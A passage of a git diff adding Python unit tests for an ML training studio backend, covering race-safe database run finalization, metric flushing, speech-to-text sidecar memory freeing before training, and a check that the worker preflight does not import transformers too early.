+    fake_db.create_run = lambda **kw: recs["created"].append(kw)
+    fake_db.finish_run = lambda **kw: recs["finished"].append(kw)
+    fake_db.insert_metrics_batch = lambda job_id, batch: (
+        recs["inserted"].extend(batch),
+        recs["insert_ids"].append(job_id),
+    )
+    fake_db.update_run_progress = lambda **kw: recs["progress_ids"].append(kw.get("id"))
+    fake_db.mark_run_cancel_requested = lambda _run_id: True
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+    fake_ds = _types.ModuleType("utils.downsample")
+    fake_ds.downsample = lambda seq, n: list(seq)[:n]
+    monkeypatch.setitem(sys.modules, "utils.downsample", fake_ds)
+    return recs
+
+
+def test_stop_without_save_creates_missing_row_before_signal(monkeypatch):
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id, b._db_config = "job_missing", {"model_name": "m"}
+    b._stop_queue = queue.Queue()
+    assert b.stop_training(save = False) is True
+    assert [run["id"] for run in recs["created"]] == ["job_missing"]
+    assert b._stop_queue.get_nowait() == {"type": "stop", "save": False}
+
+    b._cancel_requested = b._should_stop = False
+    sys.modules["storage.studio_db"].mark_run_cancel_requested = lambda _run_id: False
+    assert b.stop_training(save = False) is False
+    assert not b._cancel_requested and b._stop_queue.empty()
+
+    new_queue = queue.Queue()
+    b.current_job_id, b._db_run_created = "job_old", True
+    b._cancel_requested = b._should_stop = False
+
+    def _supersede(_run_id):
+        b.current_job_id = "job_new"
+        b._stop_queue = new_queue
+        return True
+
+    sys.modules["storage.studio_db"].mark_run_cancel_requested = _supersede
+    assert b.stop_training(save = False) is False
+    assert not b._cancel_requested and new_queue.empty()
+
+
+def test_finalize_run_in_db_single_winner_under_concurrency(monkeypatch):
+    # The watchdog and pump can both finalize; only one call may reach finish_run.
+    recs = _install_fake_db(monkeypatch)
+    monkeypatch.setitem(_G, "_DB_FINALIZE_RETRY_S", 0.0)
+    attempts = 0
+
+    def flaky_finish(**kw):
+        nonlocal attempts
+        attempts += 1
+        if attempts < 3:
+            raise RuntimeError("database is locked")
+        recs["finished"].append(kw)
+
+    sys.modules["storage.studio_db"].finish_run = flaky_finish
+    b = TrainingBackend()
+    b.current_job_id = "job_x"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    start = threading.Barrier(8)
+
+    def worker():
+        start.wait()
+        b._finalize_run_in_db(status = "stopped")
+
+    threads = [threading.Thread(target = worker) for _ in range(8)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    assert len(recs["finished"]) == 1, f"finalize must run once, got {len(recs['finished'])}"
+    assert attempts == 3
+    assert b._run_finalized is True
+
+
+def test_finalize_run_in_db_no_ops_on_job_mismatch(monkeypatch):
+    # A finalize captured for an old job must not finalize the run that replaced it.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_new"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    b._finalize_run_in_db(status = "stopped", expected_job_id = "job_old")
+
+    assert recs["finished"] == [], "a superseded job id must not finalize the current run"
+    assert b._run_finalized is False
+
+
+def test_concurrent_flush_claims_each_metric_once(monkeypatch):
+    # Concurrent flushes (pump periodic flush vs watchdog finalize flush) must not
+    # double-remove or drop buffered metrics.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_y"
+    b._db_run_created = True
+    b._metric_buffer[:] = [{"step": i} for i in range(200)]
+
+    start = threading.Barrier(6)
+
+    def worker():
+        start.wait()
+        for _ in range(50):
+            b._flush_metrics_to_db()
+
+    threads = [threading.Thread(target = worker) for _ in range(6)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+    b._flush_metrics_to_db()  # drain any remainder
+
+    steps = sorted(m["step"] for m in recs["inserted"])
+    assert steps == list(range(200)), "each metric must be inserted exactly once"
+    assert b._metric_buffer == [], "the buffer must be fully drained"
+
+
+def test_flush_pins_to_passed_run_id(monkeypatch):
+    # A finalizer flushes to the run it captured, even if a new /start has already
+    # changed current_job_id.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_new"  # a new run is already live
+    b._db_run_created = True
+    b._metric_buffer[:] = [{"step": 1}, {"step": 2}]
+
+    b._flush_metrics_to_db(run_id = "job_old")
+
+    assert recs["insert_ids"] == ["job_old"], "metrics must go to the captured run, not the new one"
+    assert recs["progress_ids"] == ["job_old"]
+
+
+def test_finalize_uses_snapshot_run_id_across_new_run(monkeypatch):
+    # If a new /start changes current_job_id after the finalize claim but before the DB
+    # writes, finish_run must still target the run captured under the lock.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_x"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    def hijack(run_id = None):
+        # Simulate a new run taking over during the flush (after the finalize claim).
+        b.current_job_id = "job_y"
+
+    monkeypatch.setattr(b, "_flush_metrics_to_db", hijack)
+
+    b._finalize_run_in_db(status = "stopped", expected_job_id = "job_x")
+
+    assert [f["id"] for f in recs["finished"]] == [
+        "job_x"
+    ], "finish_run must target the captured run, not the run that replaced it"
+
+
+# ----------------------------------------------------------------------------
+# (g) DB row creation must not be published before the insert commits.
+# ----------------------------------------------------------------------------
+
+
+def test_ensure_db_run_created_publishes_only_after_insert(monkeypatch):
+    # _db_run_created must stay False while create_run is in flight, so a concurrent
+    # finalize can't run finish_run (an UPDATE) against a not-yet-inserted row.
+    b = TrainingBackend()
+    b.current_job_id = "job_z"
+    b._db_config = {"model_name": "m"}
+    observed: dict = {}
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _create(**kw):
+        observed["flag_during_create"] = b._db_run_created
+        observed["in_progress_during_create"] = b._db_create_in_progress
+
+    fake_db.create_run = _create
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._run_intent_lock.acquire()
+    creator = threading.Thread(target = b._ensure_db_run_created)
+    creator.start()
+    time.sleep(0.02)
+    assert b._db_create_in_progress is False
+    b._run_intent_lock.release()
+    creator.join(timeout = 5)
+
+    assert observed["flag_during_create"] is False, "flag must not be published before insert"
+    assert observed["in_progress_during_create"] is True
+    assert b._db_run_created is True, "flag must be published after a successful insert"
+    assert b._db_create_in_progress is False
+
+
+def test_ensure_db_run_created_stays_unpublished_on_failure(monkeypatch):
+    # If create_run raises, neither flag stays set, so a later caller can retry.
+    b = TrainingBackend()
+    b.current_job_id = "job_z"
+    b._db_config = {"model_name": "m"}
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _boom_create(**kw):
+        raise RuntimeError("insert failed")
+
+    fake_db.create_run = _boom_create
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._ensure_db_run_created()
+
+    assert b._db_run_created is False, "a failed insert must not publish the row as created"
+    assert b._db_create_in_progress is False, "the in-progress flag must be cleared on failure"
+
+
+def test_ensure_db_run_created_does_not_publish_for_a_new_run(monkeypatch):
+    # A killed worker lets a new /start proceed while the watchdog is still creating the old
+    # run's row. The stale create must not publish the backend-wide flags against the new
+    # current_job_id, or the new run would skip inserting its own row.
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_config = {"model_name": "m"}
+    b._db_run_created = False
+    b._db_create_in_progress = False
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _create(**kw):
+        b.current_job_id = "job_new"  # a new run takes over during the slow create
+
+    fake_db.create_run = _create
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._ensure_db_run_created()
+
+    assert b._db_run_created is False, "must not publish the created flag against the new run"
+    # The stale claim is left for start_training to reset, not satisfied for the new run.
+    assert b._db_create_in_progress is True, "must not clear the claim once the run is not current"
+
+
+# ----------------------------------------------------------------------------
+# (h) The escalation finalizes the watched run by id (so it is never left running).
+# ----------------------------------------------------------------------------
+
+
+def test_escalation_finalizes_watched_run_by_id_end_to_end(monkeypatch):
+    # Exercise the real _finish_stopped_run against a fake DB. The watched run is finalized
+    # by its captured id with its buffered metrics, so a new run that starts in the gap
+    # after the backend goes idle can never leave the stopped run recorded running.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_run_created = True
+    b._should_stop = True
+    b._proc = _FakeProc(alive = False)
+    b._progress.is_training = True
+    b._progress.step = 42
+    b._metric_buffer[:] = [{"step": 41}, {"step": 42}]
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_old")
+
+    assert [f["id"] for f in recs["finished"]] == ["job_old"], "must finish the captured run by id"
+    assert recs["finished"][0]["status"] == "error"
+    assert recs["finished"][0]["resume_blocked"] is True
+    assert recs["insert_ids"] == ["job_old"], "buffered metrics must land on the captured run"
+    assert b._metric_buffer == [], "the captured batch must be drained"
+
+
+def test_escalation_defers_when_row_cannot_be_created_here(monkeypatch):
+    # If the row does not exist and cannot be created here (no db_config, or the pump is
+    # mid-create), the escalation must not claim _run_finalized or call _finish_stopped_run,
+    # so the pump's create-then-finalize records the run. Parent state still clears.
+    b = TrainingBackend()
+    called: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: called.append(a))
+
+    b._proc = _FakeProc(alive = False)
+    b.current_job_id = "job_q"
+    b._db_run_created = False  # row not created yet
+    b._db_config = None  # ... and cannot be created here
+    b._run_finalized = False
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_q")
+
+    assert called == [], "must not finalize when the row can't be established here"
+    assert b._run_finalized is False, "must not claim the finalize the pump still owes"
+    assert b._progress.is_training is False, "parent state must still clear so the UI unsticks"
+    assert b._proc is None
+
+
+def test_escalation_creates_row_then_finalizes_when_start_create_failed(monkeypatch):
+    # A wedged worker's pump can never finalize and would bail once _proc is dropped, so if
+    # the row was never created (start-time create failed) the escalation creates it and
+    # finalizes by id itself, recording the terminal state before dropping the handle.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_s"
+    b._db_config = {"model_name": "m"}  # so _ensure_db_run_created can create the row
+    b._db_run_created = False  # start-time create failed
+    b._proc = _FakeProc(alive = True)  # wedged: still reports alive
+    b._should_stop = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_s")
+
+    assert [c["id"] for c in recs["created"]] == ["job_s"], "must create the missing row"
+    assert [f["id"] for f in recs["finished"]] == ["job_s"], "must finish the created row by id"
+    assert b._proc is None, "handle dropped only after the terminal state is recorded"
+    assert b._db_run_created is True
+
+
+def test_escalation_does_not_drop_a_new_runs_handle(monkeypatch):
+    # If a run replaces the worker while the finalize DB write is in flight, the final _proc
+    # drop must leave the new run's handle intact (re-guarded on target_proc).
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_run_created = True
+    old_proc = _FakeProc(alive = False)
+    new_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+
+    def hijack(*a, **k):
+        b._proc = new_proc  # a new run takes over during the finalize
+
+    monkeypatch.setattr(b, "_finish_stopped_run", hijack)
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc, watched_job_id = "job_old")
+
+    assert b._proc is new_proc, "must not drop the handle a new run installed during finalize"
+
+
+def _make_finish_raise(monkeypatch, calls):
+    fn = sys.modules["storage.studio_db"]
+
+    def _boom(**kw):
+        calls.append(kw)
+        raise RuntimeError("database is locked")
+
+    fn.finish_run = _boom
+
+
+def test_finish_stopped_run_retries_then_unclaims_on_db_error(monkeypatch):
+    # The watchdog is the sole finalizer once _proc is dropped, so a transient DB error is
+    # retried a few times; on final failure the finalize is unclaimed (run still current).
+    monkeypatch.setitem(_G, "_DB_FINALIZE_RETRY_S", 0.0)
+    _install_fake_db(monkeypatch)
+    tries: list = []
+    _make_finish_raise(monkeypatch, tries)
+    b = TrainingBackend()
+    b.current_job_id = "job_r"
+    b._run_finalized = True  # the caller (escalation) already claimed
+
+    b._finish_stopped_run("job_r", None, [{"step": 1}], 1, None, None, [])
+
+    assert len(tries) == 3, "a transient DB error must be retried before giving up"
+    assert b._run_finalized is False, "a persistent DB error must unclaim the finalize"
+
+
+def test_finish_stopped_run_error_leaves_new_run_untouched(monkeypatch):
+    # If the watched run was superseded, a DB error must not unclaim the new run's finalize.
+    monkeypatch.setitem(_G, "_DB_FINALIZE_RETRY_S", 0.0)
+    _install_fake_db(monkeypatch)
+    _make_finish_raise(monkeypatch, [])
+    b = TrainingBackend()
+    b.current_job_id = "job_new"  # a new run is live
+    b._run_finalized = True  # the new run's flag
+
+    b._finish_stopped_run("job_old", None, [{"step": 1}], 1, None, None, [])
+
+    assert b._run_finalized is True, "must not unclaim the new run's finalize"
diff --git a/studio/backend/tests/test_training_vram_coexistence.py b/studio/backend/tests/test_training_vram_coexistence.py
index 2bedc46d1f..6683cb9aaa 100644
--- a/studio/backend/tests/test_training_vram_coexistence.py
+++ b/studio/backend/tests/test_training_vram_coexistence.py
@@ -82,6 +82,63 @@ def _patch_backends(inf, llama):
     return patch.dict(sys.modules, {"core.inference": core_inf, "routes.inference": routes_inf})
 
 
+def _fake_stt_sidecar(
+    *,
+    model = None,
+    device = None,
+    loading = False,
+):
+    sidecar = SimpleNamespace(
+        loaded_model = model,
+        device = device,
+        is_loading = lambda: loading,
+    )
+    sidecar.cancel_pending_load = MagicMock(return_value = loading)
+    sidecar.wait_for_load_to_settle = MagicMock()
+    sidecar.unload = MagicMock()
+    return sidecar
+
+
+def _fake_ggml_sidecar(
+    *,
+    model = None,
+    device = None,
+    loading = False,
+):
+    ggml = SimpleNamespace(
+        loaded_model = model,
+        device = device,
+        is_loading = lambda: loading,
+    )
+    ggml.cancel_pending_load = MagicMock(return_value = loading)
+    ggml.wait_for_load_to_settle = MagicMock()
+    ggml.unload = MagicMock()
+    return ggml
+
+
+def _patch_stt(sidecar):
+    stt_module = types.ModuleType("core.inference.stt_sidecar")
+    stt_module.get_stt_sidecar = lambda: sidecar
+    # A fresh import of the GGUF sidecar pulls names from the fake module
+    # above and fails; fake it too so test ordering cannot break that import.
+    ggml_module = types.ModuleType("core.inference.stt_ggml_sidecar")
+    empty_ggml = _fake_ggml_sidecar()
+    ggml_module.get_ggml_stt_sidecar = lambda: empty_ggml
+    return patch.dict(
+        sys.modules,
+        {
+            "core.inference.stt_sidecar": stt_module,
+            "core.inference.stt_ggml_sidecar": ggml_module,
+        },
+    )
+
+
+def _patch_ggml_stt(sidecar):
+    ggml_module = types.ModuleType("core.inference.stt_ggml_sidecar")
+    ggml_module.get_ggml_stt_sidecar = lambda: sidecar
+    return patch.dict(sys.modules, {"core.inference.stt_ggml_sidecar": ggml_module})
+
+
 # ── summarize_resident_chat ──────────────────────────────────────────────────
 
 
@@ -169,6 +226,49 @@ class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase):
         self.assertTrue(out["any"])  # GGUF still detected
 
 
+class TestSummarizeResidentStt(_GpuCacheResetMixin, unittest.TestCase):
+    def test_reports_resident_model(self):
+        sidecar = _fake_stt_sidecar(model = "small", device = "cuda")
+        with _patch_stt(sidecar):
+            out = tv.summarize_resident_stt()
+        self.assertEqual(out["model"], "small")
+        self.assertEqual(out["device"], "cuda")
+        self.assertTrue(out["any"])
+        self.assertFalse(out["loading"])
+
+    def test_reports_inflight_load(self):
+        sidecar = _fake_stt_sidecar(loading = True)
+        with _patch_stt(sidecar):
+            out = tv.summarize_resident_stt()
+        self.assertTrue(out["any"])
+        self.assertTrue(out["loading"])
+
+    def test_reports_empty_sidecar(self):
+        with _patch_stt(_fake_stt_sidecar()):
+            out = tv.summarize_resident_stt()
+        self.assertFalse(out["any"])
+
+    def test_reports_resident_gguf_when_transformers_idle(self):
+        ggml = _fake_ggml_sidecar(model = "small", device = "whisper.cpp")
+        with _patch_stt(_fake_stt_sidecar()), _patch_ggml_stt(ggml):
+            out = tv.summarize_resident_stt()
+        self.assertEqual(out["model"], "small")
+        self.assertEqual(out["device"], "whisper.cpp")
+        self.assertTrue(out["any"])
+
+    def test_resident_transformers_does_not_mask_loading_gguf(self):
+        # A Transformers model resident on CPU holds no VRAM, but a GGUF
+        # whisper-server still binding its accelerator backend does; the CPU
+        # model must not hide that in-flight startup from training admission.
+        sidecar = _fake_stt_sidecar(model = "small", device = "cpu")
+        ggml = _fake_ggml_sidecar(loading = True)
+        with _patch_stt(sidecar), _patch_ggml_stt(ggml):
+            out = tv.summarize_resident_stt()
+        self.assertEqual(out["model"], "small")
+        self.assertTrue(out["loading"])
+        self.assertTrue(out["any"])
+
+
 # ── can_keep_during_training (auto mode) ─────────────────────────────────────
 
 
@@ -438,5 +538,151 @@ class TestFreeChatModels(_GpuCacheResetMixin, unittest.TestCase):
         self.assertEqual(freed, ["gguf:gemma.gguf"])
 
 
+class TestFreeSttModel(_GpuCacheResetMixin, unittest.TestCase):
+    def test_unloads_resident_model(self):
+        sidecar = _fake_stt_sidecar(model = "small", device = "cuda")
+        with _patch_stt(sidecar):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        sidecar.unload.assert_called_once()
+        self.assertEqual(freed, ["stt:small"])
+
+    def test_cancels_inflight_load_and_waits_to_settle(self):
+        sidecar = _fake_stt_sidecar(loading = True)
+        with _patch_stt(sidecar):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        sidecar.cancel_pending_load.assert_called_once()
+        # The cancelled loader may still hold VRAM; we wait for it to release.
+        sidecar.wait_for_load_to_settle.assert_called_once()
+        # No model surfaced after the wait, so nothing to unload.
+        sidecar.unload.assert_not_called()
+        self.assertEqual(freed, ["stt:loading"])
+
+    def test_cancels_inflight_load_then_unloads_settled_model(self):
+        # A load that finished before observing the cancel leaves a resident
+        # model behind; it must be unloaded so training reclaims the memory.
+        sidecar = _fake_stt_sidecar(model = "small", loading = True)
+        with _patch_stt(sidecar):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        sidecar.cancel_pending_load.assert_called_once()
+        sidecar.wait_for_load_to_settle.assert_called_once()
+        sidecar.unload.assert_called_once()
+        self.assertEqual(freed, ["stt:loading"])
+
+    def test_cancelled_load_still_unloads_gguf_sidecar(self):
+        # Cancelling a Transformers load must not skip the GGUF sidecar; both
+        # engines can hold memory at once (engine switch or direct load calls).
+        sidecar = _fake_stt_sidecar(loading = True)
+        ggml = _fake_ggml_sidecar(model = "small")
+        with _patch_stt(sidecar), _patch_ggml_stt(ggml):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        sidecar.cancel_pending_load.assert_called_once()
+        ggml.unload.assert_called_once()
+        self.assertEqual(freed, ["stt:loading", "stt:small"])
+
+    def test_leaves_empty_sidecar_alone(self):
+        sidecar = _fake_stt_sidecar()
+        with _patch_stt(sidecar):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        sidecar.unload.assert_not_called()
+        self.assertEqual(freed, [])
+
+    def test_cancels_inflight_gguf_load_and_waits_to_settle(self):
+        # A GGUF whisper-server still in startup has no loaded_model yet, so the
+        # coordinator must cancel and wait for it, not skip it, before training
+        # claims the accelerator memory it is binding.
+        sidecar = _fake_stt_sidecar()  # Transformers idle
+        ggml = _fake_ggml_sidecar(loading = True)
+        with _patch_stt(sidecar), _patch_ggml_stt(ggml):
+            freed = tv.free_stt_model_for_training(reason = "test")
+        ggml.cancel_pending_load.assert_called_once()
+        ggml.wait_for_load_to_settle.assert_called_once()
+        ggml.unload.assert_not_called()  # nothing surfaced after the wait
+        self.assertEqual(freed, ["stt:gguf-loading"])
+
+
+class TestCoordinateModels(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(self, chat, stt, keep_results):
+        keep = MagicMock(side_effect = keep_results)
+        with (
+            patch.object(tv, "summarize_resident_chat", return_value = chat),
+            patch.object(tv, "summarize_resident_stt", return_value = stt),
+            patch.object(
+                tv,
+                "free_stt_model_for_training",
+                return_value = ["stt:small"],
+            ) as free_stt,
+            patch.object(
+                tv,
+                "free_chat_models_for_training",
+                return_value = ["hf:chat"],
+            ) as free_chat,
+        ):
+            freed = tv.coordinate_models_for_training(keep)
+        return freed, keep, free_stt, free_chat
+
+    def test_keeps_everything_when_training_fits(self):
+        chat = {"any": True, "loading": False}
+        stt = {"any": True, "loading": False}
+        freed, keep, free_stt, free_chat = self._run(
+            chat,
+            stt,
+            [(True, {"usable_gb": 40, "required_gb": 10})],
+        )
+        self.assertEqual(freed, [])
+        keep.assert_called_once()
+        free_stt.assert_not_called()
+        free_chat.assert_not_called()
+
+    def test_frees_stt_before_chat(self):
+        chat = {"any": True, "loading": False}
+        stt = {"any": True, "loading": False}
+        freed, keep, free_stt, free_chat = self._run(
+            chat,
+            stt,
+            [
+                (False, {"usable_gb": 8, "required_gb": 10}),
+                (True, {"usable_gb": 12, "required_gb": 10}),
+            ],
+        )
+        self.assertEqual(freed, ["stt:small"])
+        self.assertEqual(keep.call_count, 2)
+        free_stt.assert_called_once()
+        free_chat.assert_not_called()
+
+    def test_frees_chat_when_stt_is_not_enough(self):
+        chat = {"any": True, "loading": False}
+        stt = {"any": True, "loading": False}
+        freed, keep, free_stt, free_chat = self._run(
+            chat,
+            stt,
+            [
+                (False, {"usable_gb": 8, "required_gb": 10}),
+                (False, {"usable_gb": 9, "required_gb": 10}),
+            ],
+        )
+        self.assertEqual(freed, ["stt:small", "hf:chat"])
+        self.assertEqual(keep.call_count, 2)
+        free_stt.assert_called_once()
+        free_chat.assert_called_once()
+
+    def test_frees_loading_models_without_probe(self):
+        chat = {"any": True, "loading": True}
+        stt = {"any": True, "loading": True}
+        freed, keep, free_stt, free_chat = self._run(chat, stt, [])
+        self.assertEqual(freed, ["stt:small", "hf:chat"])
+        keep.assert_not_called()
+        free_stt.assert_called_once()
+        free_chat.assert_called_once()
+
+    def test_cancels_loading_stt_without_probe(self):
+        chat = {"any": False, "loading": False}
+        stt = {"any": True, "loading": True}
+        freed, keep, free_stt, free_chat = self._run(chat, stt, [])
+        self.assertEqual(freed, ["stt:small"])
+        keep.assert_not_called()
+        free_stt.assert_called_once()
+        free_chat.assert_not_called()
+
+
 if __name__ == "__main__":
     unittest.main()
diff --git a/studio/backend/tests/test_training_worker_flash_attn.py b/studio/backend/tests/test_training_worker_flash_attn.py
index 3c5d6cd094..7e7fc1af48 100644
--- a/studio/backend/tests/test_training_worker_flash_attn.py
+++ b/studio/backend/tests/test_training_worker_flash_attn.py
@@ -59,7 +59,6 @@ def test_runtime_flash_attn_prefers_prebuilt_wheel(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -88,7 +87,6 @@ def test_runtime_flash_attn_falls_back_to_pypi(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -141,27 +139,6 @@ def test_runtime_flash_attn_skip_env_avoids_all_install_work(monkeypatch):
     worker._sp.run.assert_not_called()
 
 
-def test_runtime_flash_attn_skips_on_blackwell(monkeypatch):
-    statuses: list[str] = []
-    install_mock = mock.Mock()
-
-    monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "_should_try_runtime_flash_attn_install", lambda max_seq: True)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: True)
-    monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
-    monkeypatch.setattr(
-        worker,
-        "_send_status",
-        lambda queue, message: statuses.append(message),
-    )
-
-    worker._ensure_flash_attn_for_long_context(event_queue = [], max_seq_length = 65536)
-
-    install_mock.assert_not_called()
-    assert len(statuses) == 1
-    assert "Blackwell" in statuses[0]
-
-
 def test_causal_conv1d_fast_path_preserves_wheel_first_install_args(monkeypatch):
     install_mock = mock.Mock(return_value = True)
     monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
diff --git a/studio/backend/tests/test_training_worker_import_discipline.py b/studio/backend/tests/test_training_worker_import_discipline.py
new file mode 100644
index 0000000000..a047c91704
--- /dev/null
+++ b/studio/backend/tests/test_training_worker_import_discipline.py
@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: the training worker must not import ``transformers`` before it activates the
+transformers sidecar.
+
+``core/training/worker.py:run_training_process`` runs a preflight (Xet decision, logging, hardware
+detection) and only THEN calls ``_activate_transformers_version`` -> ``activate_transformers_for_subprocess``,
+which prepends the correct ``.venv_t5_*`` (5.x) sidecar to ``sys.path``. Because activation only edits
+``sys.path``, it is a no-op for any module already cached in ``sys.modules``. So if the preflight imports
+``transformers`` (directly or transitively via ``unsloth_zoo``), the default 4.57.x gets pinned before
+the sidecar is on the path -- and 5.x models (Qwen3.5, GLM-4.7, gemma-4) then fail to load their
+tokenizer/config ("Tokenizer class TokenizersBackend does not exist").
+
+This regression shipped once when ``utils/hf_xet_fallback.py`` eagerly imported ``unsloth_zoo`` (which
+imports ``transformers``) at module load; the worker imports that shim during preflight to decide the
+Xet env flip (see issue #6951). This test locks the invariant in a fresh interpreter. It is CPU-only,
+needs no network/GPU/weights/sidecars, so it runs in the standard ``studio-backend-ci`` matrix.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+
+# Mirrors run_training_process's imports that run BEFORE _activate_transformers_version (worker.py);
+# keep in sync. torch-dependent imports are optional (a no-torch CI shard skips them) but must still
+# not drag in transformers.
+_PREFLIGHT_SNIPPET = r"""
+import sys
+
+# worker.py: from utils.hf_xet_fallback import child_should_disable_xet  (+ call it)
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+
+# worker.py: from loggers.config import LogConfig
+from loggers.config import LogConfig  # noqa: F401
+
+# worker.py: from utils.hardware import hardware  (imports torch, not transformers)
+try:
+    from utils.hardware import hardware as _hw  # noqa: F401
+except Exception:
+    pass  # torch may be absent in a no-torch shard; the invariant below still applies
+
+# worker.py: from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+# (the MLX-dispatch preflight; must also stay clear of transformers). Guarded because it may pull
+# unsloth/trl, absent in a minimal shard -- but a partial import that leaked transformers would still
+# be caught by the assertion below.
+try:
+    from core.training.training import (  # noqa: F401
+        is_apple_silicon_training_platform as _is_apple,
+        should_use_mlx_training_backend as _use_mlx,
+    )
+except Exception:
+    pass
+
+leaked_tf = sorted(m for m in sys.modules if m == "transformers" or m.startswith("transformers."))
+leaked_zoo = sorted(m for m in sys.modules if m == "unsloth_zoo" or m.startswith("unsloth_zoo."))
+assert not leaked_tf, f"transformers imported during worker preflight (before sidecar activation): {leaked_tf}"
+assert not leaked_zoo, f"unsloth_zoo imported during worker preflight (before sidecar activation): {leaked_zoo}"
+print("PREFLIGHT_CLEAN")
+"""
+
+
+def test_worker_preflight_does_not_import_transformers():
+    """A fresh interpreter running the worker's pre-activation imports must leave ``transformers``
+    (and ``unsloth_zoo``) unimported, so the 5.x sidecar prepend is not defeated by a stale module."""
+    result = subprocess.run(
+        [sys.executable, "-c", _PREFLIGHT_SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight imported transformers before sidecar activation.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    assert "PREFLIGHT_CLEAN" in result.stdout, result.stdout
diff --git a/studio/backend/tests/test_transformers_dtype.py b/studio/backend/tests/test_transformers_dtype.py
new file mode 100644
index 0000000000..28629e5620
--- /dev/null
+++ b/studio/backend/tests/test_transformers_dtype.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the version-safe torch_dtype/dtype kwarg helper."""
+
+import sys
+import types
+
+import pytest
+
+from utils.transformers_dtype import _has_torch_dtype_kwarg, dtype_kwargs
+
+
+@pytest.fixture(autouse = True)
+def _clear_cache():
+    _has_torch_dtype_kwarg.cache_clear()
+    yield
+    _has_torch_dtype_kwarg.cache_clear()
+
+
+def _stub_transformers(monkeypatch, version):
+    stub = types.ModuleType("transformers")
+    stub.__version__ = version
+    monkeypatch.setitem(sys.modules, "transformers", stub)
+
+
+def test_old_transformers_uses_torch_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.51.3")
+    assert _has_torch_dtype_kwarg() is True
+    assert dtype_kwargs("float16") == {"torch_dtype": "float16"}
+
+
+def test_new_transformers_uses_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.57.6")
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
+
+
+def test_rename_boundary_uses_dtype(monkeypatch):
